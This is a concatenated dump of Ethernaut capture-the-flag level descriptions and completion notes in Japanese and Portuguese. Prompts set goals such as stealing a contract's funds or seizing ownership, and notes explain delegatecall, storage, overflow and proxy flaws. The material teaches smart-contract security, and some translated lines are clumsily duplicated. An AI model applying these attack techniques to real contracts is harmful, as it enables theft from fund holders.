/client/src/gamedata/ja/descriptions/levels/magicnum_complete.md: -------------------------------------------------------------------------------- 1 | おめでとうございます!あなたがこのレベルを解決したのなら、あなたは自身が宇宙のマスターであると考えてもいいのでは? 2 | 3 | さあ、あなたの超能力者になれたんじゃないでしょうか。 4 | 超能力で部屋の中のテキトーな物体に穴を開けてみましょう。今度は遠くからそれを動かしてみてください。どうかな? 5 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | Ethernaut のバイクには、Upgradable な新しいデザインのエンジンが搭載されています。 2 | 3 | そのエンジンを自爆させて、バイクを使用不能にすることができるでしょうか? 4 | 5 | ヒント: 6 | 7 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 8 | - [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern 9 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract 10 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/motorbike_complete.md: -------------------------------------------------------------------------------- 1 | UUPS パターンの利点は、デプロイされるプロキシが非常に少ないことである。プロキシはストレージ層として機能し、デリゲートコールを通じてロジックのみが使用されるため、通常、実装契約におけるいかなる状態の変更も、それを使用するシステムに副作用をもたらさないようにします。 2 | 3 | 実装コントラクトを初期化しないままにしておくと、脆弱性を突かれる可能性があることに注意する必要がある。 4 | 5 | これは、UUPS パターンのリリースから数ヶ月が経過し、実際に発見されたことを少し簡略化したものである。 6 | 7 | 教訓:実装コントラクトを初期化しないまま放置してはいけない ;) 8 | 9 | より詳しいことに興味を持ったら → [こちら](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680). 10 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin は ERC20 トークンで、あなたはすでにすべてのトークンを保有しています。しかし、10 年間のロックアウト期間を経ないと譲渡できないという問題があります。トークンを自由に譲渡できるように、別のアドレスに移す方法を考えてみてください。トークンの残高を 0 にして、このレベルをクリアしてください。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md)のスペック 7 | - [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts)のコードベース 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | 自分のコードではないものを使うときには、そのコードに慣れ親しんで、すべてがどのように組み合わされているかをよく理解しておくとよいでしょう。これは、複数のレベルのインポートがある場合 (自分のインポートにインポートがある場合) や、権限制御を実装している場合 (例えば、人が何かをすることを許可したり禁止したりしている場合) に特に重要になります。この例では、開発者はコードに目を通し、トークンを移動させるには `transfer` が唯一の方法だと思うかもしれませんが、驚いたことに、同じ操作を別の実装で行う方法もあります。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/preservation.md: -------------------------------------------------------------------------------- 1 | この契約では、2 つの異なるタイムゾーンの 2 つの異なる時間を保存するためにライブラリを利用しています。コンストラクタでは、保存する時間ごとにライブラリのインスタンスを 2 つ生成します。 2 | 3 | このレベルの目標は、与えられたインスタンスの所有権を主張することです。 4 | 5 |   6 | このレベルのヒント 7 | 8 | - Solidity の`delegatecall`という低レベル関数のドキュメントを見てください。 9 | どのように動作するのか、どのようにオンチェーンのライブラリに操作を委ねるのに使用できるのか、そしてどのような影響があるのか。 10 | ライブラリに操作を委ねるためにどのように使用できるのか、実行スコープにどのような影響があるのかを調べましょう。 11 | - `delegatecall` がコンテキスト保持であることの意味を理解しましょう。 12 | - ストレージ変数がどのように保存され、アクセスされるかを理解しましょう。 13 | - 異なるデータタイプ間のキャストがどのように機能するかを理解しましょう。 14 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | 前のレベルの `delegate` が言及しているように、`delegatecall` を使ってライブラリを呼び出すのは ライブラリを呼び出すために`delegatecall`を使用することはリスクがあります。これは特に、独自の状態を持つコントラクトライブラリの場合に当てはまります。独自の状態を持つコントラクトライブラリには特に当てはまります。この例では、ライブラリの構築になぜ `library` キーワードを使うべきかを示しています。キーワードは、ライブラリが状態変数を保存したりアクセスしたりするのを防ぐことができるからです。ステート変数の保存とアクセスを防ぐことができます。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | このコントラクトの作成者は、その保管場所の機密部分を守るために十分な注意を払っています。 2 | 3 | このコントラクトを解除してレベルをクリアしてください。 4 | 5 | このレベルのヒント: 6 | 7 | - ストレージの仕組みを理解する 8 | - パラメータ解析の仕組みを理解する 9 | - キャストの仕組みを理解する 10 | 11 | ヒント 12 | 13 | - メタマスクは単なるツールであることを忘れないでください。問題があれば他のツールを使いましょう。高度なゲームでは remix や独自の web3 プロバイダを使用することもできます。 14 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | イーサリアムのブロックチェーンにはプライベートなものはありません。キーワード`private`は、Solidity 言語の人工的な構成要素に過ぎません。Web3 の`getStorageAt(...)`は、ストレージから何かを読み取るのに使用できます。しかし、ストレージをできるだけコンパクトにするために、いくつかの最適化ルールやテクニックが使われているので、目的のものを読み取るのは難しいかもしれません。 2 | 3 | このレベルで説明したこと以上に複雑なことはありません。もっと詳しく知りたい方は、Darius 氏によるこの素晴らしい記事をご覧ください。[How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/puzzle_wallet.md: -------------------------------------------------------------------------------- 1 | ある友人グループが、複数のトランザクションを 1 つのトランザクションにまとめて実行することでコストを少し下げる方法を発見し、これを行うためのスマートコントラクトを開発しました。 2 | 3 | 彼らはこのコントラクトを、コードにバグがあった場合に備えてアップグレードできるようにする必要があり、またグループ外の人間がこれを使用するのを防ぎたいと考えました。そのために、彼らは投票によって、システム内で特別な役割を持つ 2 人の人物を割り当てました。 4 | 5 | 管理者(admin):スマートコントラクトのロジックを更新する権限を持つ。 6 | オーナー(owner):コントラクトの使用を許可するアドレスのホワイトリストを管理する。 7 | 8 | コントラクトがデプロイされ、グループはホワイトリストに登録された。これで邪悪なマイナーたちを退治できる、と誰もが喝采を送った。 9 | 10 | 彼らは知るよしもなかった。その時、彼らのお金が危険に晒されているとは... 11 | 12 |   13 | この wallet をハックするには Proxy の admin を奪う必要があります。 14 | 15 |   16 | ヒント 17 | 18 | - `Delegatecall`の仕組みと、それを実行したときの `msg.sender` と `msg.value` の振る舞いを理解する。 19 | - Proxy パターンについて、また、ストレージ変数の扱い方について理解する。 20 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/puzzle_wallet_complete.md: -------------------------------------------------------------------------------- 1 | 今度からは、その友人たちは、契約金を預ける前に監査を依頼することになるだろう。めでたし、めでたし。 2 | 3 | 頻繁に、Upgradable な機能をもたらし、デプロイのガスコストを削減するために、プロキシ契約を使用することが強く推奨されます。しかし、このレベルに見られるように、開発者はストレージの衝突を引き起こさないように注意する必要があります。 4 | 5 | さらに、ETH を消費する操作の反復は、正しく処理されないと問題につながる可能性があります。ETH を消費しても `msg.value` は変わらないので、開発者は反復処理ごとに実際の残高を手動で追跡する必要があります。また、マルチコールパターンを使用する場合、これだけでも安全に見える関数に複数の `delegatecall` を実行すると、ETH の不要な転送につながる可能性があります。`delegatecall` はコントラクトに送られた元の `msg.value` を保持するため、これは問題につながることがあります。 6 | 7 | 準備ができたら、次のレベルに進んでください。 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | コントラクトクリエイターが、非常にシンプルなトークンファクトリーのコントラクトを構築しました。誰でも簡単に新しいトークンを作ることができます。最初のトークンコントラクトをデプロイした後、コントラクト作成者はより多くのトークンを得るために`0.5`の ether を送りました。その後、コントラクトのアドレスを失っています。 2 | 3 | このレベルは、紛失したコントラクトアドレスから`0.5`の ether を回収(または除去)できればクリアとなります。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/recovery_complete.md: -------------------------------------------------------------------------------- 1 | コントラクトのアドレスは決定論的であり、`keccak256(address, nonce)`によって計算されます。`address`はコントラクトのアドレス(またはトランザクションを作成したイーサリアムのアドレス)であり、`nonce`は産み出されたコントラクトが作成したコントラクトの数(または通常のトランザクションの場合はトランザクションの nonce)です。 2 | 3 | このため、あらかじめ決められたアドレス(秘密鍵を持たないアドレス)に ether を送り、後でそのアドレスにコントラクトを作成して ether を回収することができます。これは、秘密鍵を持たずに ether を保管するための、直感的ではない、やや秘密めいた方法です。 4 | 5 | Martin Swende 氏による興味深い[blog post](https://swende.se/blog/Ethereum_quirks_and_vulns.html)では、この方法の潜在的な使用例を詳しく説明しています。 6 | 7 | この技術を実装する場合、nonce を見逃さないようにしないと、資金が永遠に失われてしまいます。 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | このレベルの目標は、あなたが契約からすべての資金を盗むことです。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - 信頼できないコントラクトは、予期しないところでコードを実行することがあります。 7 | - fallback 関数 8 | - throw/revert 9 | - コントラクトを攻撃する最良の方法は、別のコントラクトであることがあります。 10 | - 上記のヘルプページの ["Beyond the console"](https://ethernaut.openzeppelin.com/help) セクションを参照してください。 11 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | 提示された価格よりも安い価格でショップから商品を入手できますか? 2 | 3 | このレベルのヒントです: 4 | 5 | - `Shop`は`Buyer` から利用されることを想定しています。 6 | - gas()`オプションの仕組みを理解する 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | コントラクトは、他のコントラクトからのデータを好きなように操作することができます。 2 | 3 | 同じビュー関数であっても、二重に呼び出して何らかのアクションを承認することは安全ではありません。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | このレベルをクリアするには、以下のコントラクトの所有権を主張する必要があります。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - 上記のヘルプページ、["Beyond the console"](https://ethernaut.openzeppelin.com/help) の項を参照してください。 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | このレベルの目標は、以下の基本的なトークンコントラクトをハッキングすることです。 2 | 3 | 最初に 20 トークンが与えられますが、追加のトークンを手に入れることができれば、このレベルをクリアできます。できれば非常に多くのトークンを手に入れたいものです。 4 | 5 |   6 | このレベルのヒント 7 | 8 | - オドメーターとは何ですか? 9 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | オーバーフローはベタかつ非常によくあることで、次のような制御文でチェックしなければなりません。 2 | 3 | ``` 4 | if(a + c > a) { 5 | a = a + c; 6 | } 7 | ``` 8 | 9 | もっと簡単な方法は、OpenZeppelin の SafeMath ライブラリを使うことです。このライブラリは、すべての数学演算子のオーバーフローを自動的にチェックします。その結果、コードは次のようになります。 10 | 11 | ``` 12 | a = a.add(c); 13 | ``` 14 | 15 | もしオーバーフローがあれば、コードは元に戻ります。 16 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/unstoppable.md: -------------------------------------------------------------------------------- 1 | 100 万トークンの残高を持つレンディングプールがあり、無料でフラッシュローンを提供しています。 2 | 3 | このプールを攻撃して、フラッシュローンの提供を止める方法があればいいのですが・・・。 4 | 5 | あなたはまず 100 トークンの残高でスタートします。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | 金庫室の鍵を開けてレベルをクリアしよう! 2 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | 変数を private とすることは、他のコントラクトがその変数にアクセスすることを防ぐだけであることを覚えておきましょう。プライベートに設定された状態の変数やローカル変数は、依然としてパブリックにアクセス可能です。 2 | 3 | データのプライベート性を確保するには、ブロックチェーンに載せる前に暗号化する必要があります。このシナリオでは、復号化キーは誰でも見ることができるため、オンチェーンで送信してはいけません。[zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/)は、誰かが秘密のパラメータを持っているかどうかを、パラメータを明らかにすることなく判断する方法を提供します。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | Você descobriu um contrato Alien. Reivindique a posse para completar o nível. 2 | 3 | Coisas que podem ser úteis: 4 | * Compreender como funciona o armazenamento de vetores 5 | * Compreender as [especificações ABI](https://docs.soliditylang.org/en/latest/abi-spec.html) 6 | * Usando uma abordagem muito "dissimulada" -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | Este nível explora o fato de que a EVM não valida o comprimento codificado de um vetor versus sua carga útil real. 2 | 3 | Além disso, ele explora o `underflow` aritmético do tamanho do array, expandindo os limites do array para toda a área de armazenamento de `2^256`. O usuário pode então modificar todo o armazenamento do contrato. 4 | 5 | Ambas as vulnerabilidades são inspiradas no [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) de 2017. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | Este é um jogo de cara ou coroa em que você precisa construir sua sequência de vitórias adivinhando o resultado de uma jogada de moeda. Para completar este nível, você precisará usar suas habilidades psíquicas para adivinhar o resultado correto 10 vezes seguidas. 2 | 3 | Coisas que podem ser úteis 4 | * Consulte a página ["?"](https://ethernaut.openzeppelin.com/help), seção "Beyond the console" -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | O objetivo deste nível é que você reivindique a posse da instância que lhe foi dada. 2 | 3 | Coisas que podem ser úteis: 4 | * Veja a documentação da Solidity sobre a função de baixo nível `delegatecall`, como ela funciona, como pode ser usada para delegar operações para bibliotecas on-chain e quais implicações ela tem no escopo de execução. 5 | * Métodos fallback 6 | * Método id -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | O uso de `delegatecall` é particularmente arriscado e tem sido usado como um vetor de ataque em vários hacks históricos. Com ele, seu contrato está praticamente dizendo "aqui, -outro contrato- ou -outra biblioteca-, faça o que quiser com meu estado". Os delegados têm acesso completo ao estado do seu contrato. A função `delegatecall` é um recurso poderoso, mas perigoso, e deve ser usado com extremo cuidado. 2 | 3 | Consulte o artigo [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) para obter uma explicação precisa de como essa ideia foi usada para roubar 30 milhões de dólares. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | Esta é uma simples carteira que libera fundos ao longo do tempo. Você pode sacar os fundos 2 | lentamente, tornando-se um sócio. 3 | 4 | Se você puder impedir o proprietário de sacar fundos quando ele chamar `withdraw()` 5 | (enquanto o contrato ainda tiver fundos e a transação for de 1M de gás ou menos) você passará deste nível. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | Este nível pedirá que você quebre `DexTwo`, um contrato `Dex` sutilmente modificado do nível anterior, de uma maneira diferente. 2 | 3 | Você precisa drenar todos os saldos de token1 e token2 do contrato `DexTwo` para ter completar este nível. 4 | 5 | Você ainda começará com 10 tokens de `token1` e 10 de `token2`. O contrato DEX ainda começará com 100 de cada token. 6 | 7 | Coisas que podem ser úteis: 8 | * Como o método `swap` foi modificado? -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | Este elevador não vai deixar você chegar ao topo do seu prédio. Certo? 2 | 3 | Coisas que podem ser úteis: 4 | * Às vezes, a solidity não é boa para cumprir promessas. 5 | * Este `Elevator` espera ser usado a partir de um `Building`. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | Você pode usar o modificador de função `view` em uma interface para evitar modificações de estado. O modificador `pure` também impede que as funções modifiquem o estado. 2 | 3 | Certifique-se de ler a [documentação do Solidity](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) e aprender suas ressalvas. 4 | 5 | Uma maneira alternativa de resolver esse nível é criar uma função `view` que retorne resultados diferentes dependendo dos dados de entrada, mas não modifique o estado, por exemplo `gasleft()`. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | Observe atentamente o código do contrato abaixo. 2 | 3 | Você passará deste nível se: 4 | 1) Reivindicar a posse do contrato 5 | 2) Reduzir o saldo do contrato a 0 6 | 7 | Coisas que podem ser úteis: 8 | * Como enviar ether interagindo com a ABI de um contrato 9 | * Como enviar ether sem usar a ABI 10 | * Como converter entre wei/ether (veja o comando `help()`) 11 | * Métodos fallback -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | Você conhece o básico de como o ether entra e sai de contratos, incluindo o uso do método de fallback. 2 | 3 | Você também aprendeu sobre o contrato Ownable da OpenZeppelin e como ele pode ser usado para restringir o uso de alguns métodos a um endereço privilegiado. 4 | 5 | Passe para o próximo nível quando estiver pronto! 6 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | Reivindique a posse do contrato abaixo para concluir este nível. 2 | 3 | Coisas que podem ser úteis: 4 | * Solidity Remix IDE -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | Alguns contratos simplesmente não aceitam seu dinheiro `¯\_(ツ)_/¯` 2 | 3 | O objetivo deste nível é fazer com que o saldo do contrato seja maior que zero. 4 | 5 | Coisas que podem ser úteis: 6 | * Métodos fallback 7 | * Às vezes, a melhor maneira de atacar um contrato é com outro contrato 8 | * Consulte a página ["?"](https://ethernaut.openzeppelin.com/help), seção "Beyond the console" -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | Em solidity, para que um contrato possa receber ether, a função de fallback deve ser marcada como `payable`. 2 | 3 | No entanto, não há como impedir que um invasor envie ether para um contrato por meio da autodestruição. Portanto, é importante não contar com a invariante `address(this).balance == 0` para qualquer lógica de contrato. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | Passe pelo porteiro e registre-se como um participante para passar deste nível. 2 | 3 | Coisas que podem ser úteis: 4 | * Lembre-se do que você aprendeu nos níveis `Telephone` e `Token`. 5 | * Você pode aprender mais sobre a função especial `gasleft()` na documentação da Solidity (veja [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) e [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | Bom trabalho! Agora, tente com o segundo porteiro... -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | Muito bem! Agora que você pode passar pelo porteiro, você tem o que é preciso para ingressar no [theCyber](https://etherscan.io/address/thecyber.eth#code), um clube descentralizado na mainnet Ethereum. Obtenha uma senha entrando em contato com o criador em [reddit](https://www.reddit.com/user/0age) ou via [email](mailto:0age@protonmail.com) e use-a para se registrar com o contrato em [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (esteja ciente de que apenas os primeiros 128 participantes serão aceitos pelo contrato). -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/gatekeeper3.md: -------------------------------------------------------------------------------- 1 | Passe pelos portões e torne-se um participante. 2 | 3 | Coisas que podem ser úteis: 4 | * Retorno de funções de baixo nível. 5 | * Esteja atento à semântica. 6 | * Lembre-se como o armazenamento funciona no Ethereum. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/gatekeeper3_complete.md: -------------------------------------------------------------------------------- 1 | Bom trabalho! Para obter mais informações, leia [aqui](https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html?highlight=getStorageAt#getstorageat) e [aqui](https://medium.com/loom-network/ethereum-solidity-memory-vs-storage-how-to-initialize-an-array-inside-a-struct-184baf6aa2eb). -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/goodsamaritan.md: -------------------------------------------------------------------------------- 1 | Esta instância representa um rico bom samaritano que está pronto para doar algumas moedas para quem o solicitar. 2 | 3 | Você seria capaz de drenar todo o saldo de sua carteira? 4 | 5 | Coisas que podem ser úteis: 6 | * [Erros personalizados do Solidity](https://blog.soliditylang.org/2021/04/21/custom-errors/) -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/goodsamaritan_complete.md: -------------------------------------------------------------------------------- 1 | Parabéns! 2 | 3 | Erros personalizados no Solidity são identificados por seu ‘selector’ de 4 bytes, o mesmo que uma chamada de função. Eles são borbulhados através da cadeia de chamadas até serem capturados por uma instrução `catch` em um bloco `try-catch`, como visto na função `requestDonation()` do `GoodSamaritan`. Por esses motivos, não é seguro assumir que o erro foi emitido pelo alvo imediato da chamada do contrato (ou seja, `Wallet` neste caso). Qualquer outro contrato mais abaixo na cadeia de chamadas pode declarar o mesmo erro e emiti-lo em um local inesperado, como na função `notify(uint256 amount)` em seu contrato de ataque. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/higherorder.md: -------------------------------------------------------------------------------- 1 | Imagine um mundo em que as regras são feitas para serem quebradas e somente os astutos e ousados podem chegar ao poder. Bem-vindo à Higher Order, um grupo envolto em mistério, onde um tesouro o aguarda e um comandante governa supremo. 2 | 3 | O seu objetivo é se tornar o Comandante da Higher Order! Boa sorte! 4 | 5 | ##### Coisas que podem ajudar: 6 | * Às vezes, não se pode confiar em `calldata`. 7 | * Os compiladores estão constantemente evoluindo para se tornarem melhores naves espaciais. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/higherorder_complete.md: -------------------------------------------------------------------------------- 1 | Você venceu o desafio Higher Order, dominando o exploit Dirty Higher Order Bits para reivindicar o título de Comandante. Nessa missão, você se aprofundou no Solidity, aprendendo a manipular bytes e a contornar verificações de tipo de função. 2 | 3 | Sua vitória não apenas demonstra sua proeza técnica, mas também destaca sua capacidade de pensar de forma criativa e crítica. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | Parabéns! Você completou o tutorial. 2 | Abaixo, dê uma olhada no código Solidity do contrato que você acabou de interagir. 3 | 4 | Você já está pronto para completar todos os níveis do jogo, e a partir de agora, você está por conta própria. 5 | 6 | Boa Sorte!! 7 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | O contrato abaixo representa um jogo muito simples: quem enviar uma quantidade de ether maior que o prêmio atual torna-se o novo rei. Feito isso, o rei derrubado recebe o novo prêmio, ganhando um pouco de ether no processo! Tão ponzi quanto possível xD 2 | 3 | Um jogo tão divertido. Seu objetivo é quebrá-lo. 4 | 5 | Quando você enviar a instância de volta ao nível, o nível recuperará a realeza. Você passará do nível se puder evitar tal autoproclamação. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | A maioria dos níveis de Ethernaut tenta expor (de uma forma simplificada, é claro) algo que realmente aconteceu - um hack real ou um bug real. 2 | 3 | Neste caso, veja: [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) e [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html). -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/magicnum.md: -------------------------------------------------------------------------------- 1 | Para resolver este nível, você só precisa fornecer ao Ethernaut um `Solver`, um contrato que responde `whatIsTheMeaningOfLife()` com o número certo de 32 bytes. 2 | 3 | Fácil né? 4 | Então... Não é bem assim. 5 | 6 | O código do solucionador precisa ser muito pequeno. Realmente muuuuuuuuuuito pequenininho. Tipo muito muito minúsculo de pequeno: 10 bytes no máximo. 7 | 8 | Dica: talvez seja hora de deixar momentaneamente o conforto do compilador Solidity e fazer isso manualmente O_o. 9 | Isso mesmo: bytecode EVM bruto. 10 | 11 | Boa sorte! -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/magicnum_complete.md: -------------------------------------------------------------------------------- 1 | Parabéns! Se você superou este nível, considere-se um Mestre do Universo. 2 | 3 | Vá em frente e perfure um objeto aleatório na sala com seu olhar Magnum. Agora, tente movê-lo de longe; Suas habilidades de telecinesia podem ter acabado de começar a funcionar. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | A moticicleta do Ethernaut tem um novo design de motor atualizável. 2 | 3 | Você seria capaz de `selfdestruct` seu motor e inutilizar a moto? 4 | 5 | Coisas que podem ser úteis: 6 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 7 | - Padrão de atualização [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) 8 | - Contrato [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin é um token ERC20 e você já possui todos eles. O problema é que você só poderá transferi-los após um período de bloqueio de 10 anos. Você consegue descobrir como transferi-los para outro endereço para poder transferi-los livremente? Conclua este nível reduzindo saldo de tokens para 0. 2 | 3 | Coisas que podem ser úteis: 4 | * A especificação [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 5 | * Os contratos da [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) 6 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | Ao usar um código que não é seu, é uma boa ideia familiarizar-se com ele para obter uma boa compreensão de como tudo se encaixa. Isso pode ser particularmente importante quando há vários níveis de importações (suas importações têm importações) ou quando você está implementando controles de autorização, por exemplo, quando você está permitindo ou não permitindo que as pessoas façam coisas. Neste exemplo, um desenvolvedor pode olhar o código e pensar que `transfer` é a única maneira de mover os tokens, porém existem outras maneiras de realizar a mesma operação com uma implementação diferente. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | Como o nível anterior, `delegate` menciona, o uso de `delegatecall` para chamar 2 | bibliotecas pode ser arriscado. Isso é particularmente verdadeiro para bibliotecas que 3 | têm seu próprio estado. Este exemplo demonstra porque a palavra-chave `library` 4 | deve ser usada para construir bibliotecas, pois evita que as bibliotecas 5 | armazenem e acessem variáveis ​​de estado. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | O criador deste contrato teve o cuidado de proteger as áreas sensíveis de seu armazenamento. 2 | 3 | Desbloqueie este contrato para passar desse nível. 4 | 5 | Coisas que podem ser úteis: 6 | * Compreender como funciona o armazenamento 7 | * Compreender como funciona o `parsing` de parâmetros 8 | * Entendendo como funciona o `casting` 9 | 10 | Dicas: 11 | * Lembre-se que a metamask é apenas uma comodidade. Use outra ferramenta se ela estiver apresentando problemas. O avançado do jogo pode envolver o uso de remix ou seu próprio provedor web3. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | Nada no blockchain ethereum é privado. A palavra-chave `private` é meramente uma construção artificial da linguagem Solidity. `getStorageAt(...)` da Web3 pode ser usado para ler qualquer coisa do armazenamento. Pode ser complicado ler o que você deseja, pois várias regras e técnicas de otimização são usadas para compactar o armazenamento o máximo possível. 2 | 3 | Não pode ficar muito mais complicado do que o que foi mostrado neste nível. Para saber mais, confira este excelente artigo de "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | Um criador de contratos fez um contrato do tipo fábrica de tokens muito simples. Qualquer pessoa pode criar novos tokens facilmente. Depois de publicar o primeiro contrato de token, o criador enviou `0,001` ether para obter mais tokens. Desde então, ele perdeu o endereço do contrato. 2 | 3 | Este nível será concluído se você puder recuperar (ou remover) o `0,001` ethers do endereço do contrato perdido. -------------------------------------------------------------------------------- 